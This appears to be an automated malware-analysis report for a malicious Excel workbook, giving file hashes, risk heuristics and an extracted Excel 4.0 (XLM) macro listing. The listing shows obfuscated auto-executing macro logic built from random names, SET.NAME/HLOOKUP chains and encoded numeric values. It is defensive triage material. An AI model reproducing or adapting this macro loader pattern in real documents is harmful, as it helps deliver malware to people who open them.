Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3dd684d89d9556c0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:57 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 2b806d5ed1b818f92dadbdbea1bfd45f SHA-1: 6597304a59148d287709c387f685ba647476586e SHA-256: 3dd684d89d9556c0adb8b6c1c102c96fe432b07bf0acf19abbed470bd6b584d3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6713 bytes
SHA-256: 41148bc20f93a84b111ec94a25fb0e3fe1393e4246c84c5f683daf031e0a7386
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SBuow
' 0018     27 LABEL : Cell Value, String Constant - aOPaiVTaodbR len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E135 
' 0018     21 LABEL : Cell Value, String Constant - cqmqbE len=0 
' 0018     24 LABEL : Cell Value, String Constant - DIzgNfVsn len=0 
' 0018     27 LABEL : Cell Value, String Constant - EkvMcYlsCNCC len=0 
' 0018     24 LABEL : Cell Value, String Constant - eLNAiydri len=0 
' 0018     22 LABEL : Cell Value, String Constant - FeBgeeA len=0 
' 0018     22 LABEL : Cell Value, String Constant - GMAUCsl len=0 
' 0018     22 LABEL : Cell Value, String Constant - hnLNFah len=0 
' 0018     24 LABEL : Cell Value, String Constant - JxNIDmATk len=0 
' 0018     25 LABEL : Cell Value, String Constant - KuNOUVevFO len=0 
' 0018     25 LABEL : Cell Value, String Constant - pgqOVwfzmm len=0 
' 0018     26 LABEL : Cell Value, String Constant - pnIPtXjeRZw len=0 
' 0018     23 LABEL : Cell Value, String Constant - tZddFQnE len=0 
' 0018     24 LABEL : Cell Value, String Constant - UHyEKiVDI len=0 
' 0018     24 LABEL : Cell Value, String Constant - UMorrkbJk len=0 
' 0018     25 LABEL : Cell Value, String Constant - VdxcuxqAEF len=0 
' 0018     24 LABEL : Cell Value, String Constant - XgOCwAJXB len=0 
' 0018     24 LABEL : Cell Value, String Constant - yozhhfEMR len=0 
' 0018     21 LABEL : Cell Value, String Constant - zSgPgs len=0 
' 0018     24 LABEL : Cell Value, String Constant - zXQFKxsSU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SBuow,E56,"SET.NAME("zXQFKxsSU",0+VALUE("0"))",""
'  SBuow,E58,"SET.NAME("pnIPtXjeRZw",zXQFKxsSU)",""
'  SBuow,E60,"SET.NAME("pgqOVwfzmm",zXQFKxsSU)",""
'  SBuow,E65,"SET.NAME("FeBgeeA",COUNTA(JxNIDmATk))",""
'  SBuow,E69,"SET.NAME("DIzgNfVsn",COUNTA(yozhhfEMR))",""
'  SBuow,E73,[],""
'  SBuow,E78,"SET.NAME("VdxcuxqAEF","")",""
'  SBuow,E80,"pnIPtXjeRZw",""
'  SBuow,E82,"SET.NAME("zSgPgs",HLOOKUP("*",JxNIDmATk,pnIPtXjeRZw,FALSE))",""
'  SBuow,E84,"EkvMcYlsCNCC",""
'  SBuow,E86,"SET.NAME("GMAUCsl",zXQFKxsSU)",""
'  SBuow,E89,[],""
'  SBuow,E93,"GMAUCsl",""
'  SBuow,P93,"",-297.00000000000000000000
'  SBuow,P94,"",-877.00000000000000000000
'  SBuow,P95,"",-639.00000000000000000000
'  SBuow,P96,"",-300.00000000000000000000
'  SBuow,E97,"cqmqbE",""
'  SBuow,P97,"",-819.00000000000000000000
'  SBuow,P98,"",-30.00000000000000000000
'  SBuow,E99,"UHyEKiVDI",""
'  SBuow,E103,"hnLNFah",""
'  SBuow,E106,"SET.NAME("eLNAiydri",VALUE(HLOOKUP("*",yozhhfEMR,hnLNFah,FALSE)))",""
'  SBuow,E108,"XgOCwAJXB",""
'  SBuow,E112,"VdxcuxqAEF",""
'  SBuow,E114,"pgqOVwfzmm",""
'  SBuow,E118,NEXT(),""
'  SBuow,E122,"tZddFQnE",""
'  SBuow,E124,[],""
'  SBuow,E126,"UMorrkbJk",""
'  SBuow,E130,NEXT(),""
'  SBuow,E132,RETURN(),""
'  SBuow,E157,"SET.NAME("aOPaiVTaodbR",E56)",""
'  SBuow,E162,"JxNIDmATk",""
'  SBuow,E167,"SET.NAME("yozhhfEMR",R50C12)",""
'  SBuow,E169,"SET.NAME("UMorrkbJk",178)",""
'  SBuow,E173,"SET.NAME("KuNOUVevFO",5)",""
'  SBuow,E177,aOPaiVTaodbR(),""
'  SBuow,E178,HALT(),""

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